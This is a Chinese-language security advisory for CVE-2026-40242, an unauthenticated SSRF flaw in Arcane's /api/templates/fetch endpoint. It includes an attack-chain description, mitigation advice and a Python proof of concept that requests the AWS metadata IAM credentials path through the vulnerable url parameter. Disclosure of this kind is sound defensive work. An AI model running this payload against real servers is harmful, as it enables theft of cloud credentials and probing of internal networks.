IPBUF安全漏洞报告
English
CVE-2026-40242 CVSS 7.2 高危

CVE-2026-40242 Arcane 未认证SSRF漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40242
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Arcane

相关标签

SSRFArcaneDockerCVE-2026-40242未授权访问

漏洞概述

Arcane是一个用于管理Docker容器的接口。在1.17.3版本之前,其/api/templates/fetch端点存在未认证的服务端请求伪造(SSRF)漏洞。攻击者无需身份验证即可向该端点提供恶意的url参数,诱导服务器向任意内网或外网地址发起HTTP GET请求。服务器响应将直接返回给攻击者,可能导致敏感信息泄露或内网探测。

技术细节

该漏洞的根本原因是Arcane在处理/api/templates/fetch接口时缺乏严格的输入验证和访问控制。代码直接接受用户传入的url参数,并将其作为服务端HTTP请求的目标,未对URL的协议或主机头进行白名单校验。同时,该接口未配置认证机制(PR:N),允许匿名访问。攻击者可利用此特性扫描内网端口、访问本地元数据服务(如AWS 169.254.169.254)或读取本地受限资源。由于CVSS向量中S:U(范围未改变)或S:C(范围改变,视环境而定),攻击者可能利用受攻击服务器作为跳板进一步攻击内部基础设施。

攻击链分析

STEP 1
1. 信息收集
攻击者通过端口扫描或搜索引擎发现目标Arcane实例的访问地址。
STEP 2
2. 发起攻击
攻击者向 /api/templates/fetch 端点发送特制的HTTP GET请求,在url参数中填入内网敏感地址(如元数据服务)或内网资产地址。
STEP 3
3. 服务端请求
Arcane服务器解析请求,未经验证即向攻击者指定的URL发起HTTP连接,并将获取到的响应数据读取。
STEP 4
4. 数据回显
Arcane服务器将内网资源的响应内容直接返回给攻击者,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_ssrf(target_base_url): """ PoC for CVE-2026-40242 Arcane SSRF Vulnerability This script attempts to retrieve the instance metadata via the vulnerable endpoint. """ target_url = f"{target_base_url.rstrip('/')}/api/templates/fetch" # Using a common internal metadata endpoint for testing # Change to http://127.0.0.1:80 or internal IPs for local testing payload_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" params = { "url": payload_url } try: print(f"[*] Sending request to: {target_url}") print(f"[*] Payload URL: {payload_url}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] SSRF Successful! Response received:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:3000" check_ssrf(target)

影响范围

Arcane < 1.17.3

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面对Arcane服务进行隔离,禁止其访问非业务必需的内网网段(如127.0.0.1, 169.254.169.254等)和公网。同时,可通过反向代理规则临时禁用/api/templates/fetch接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表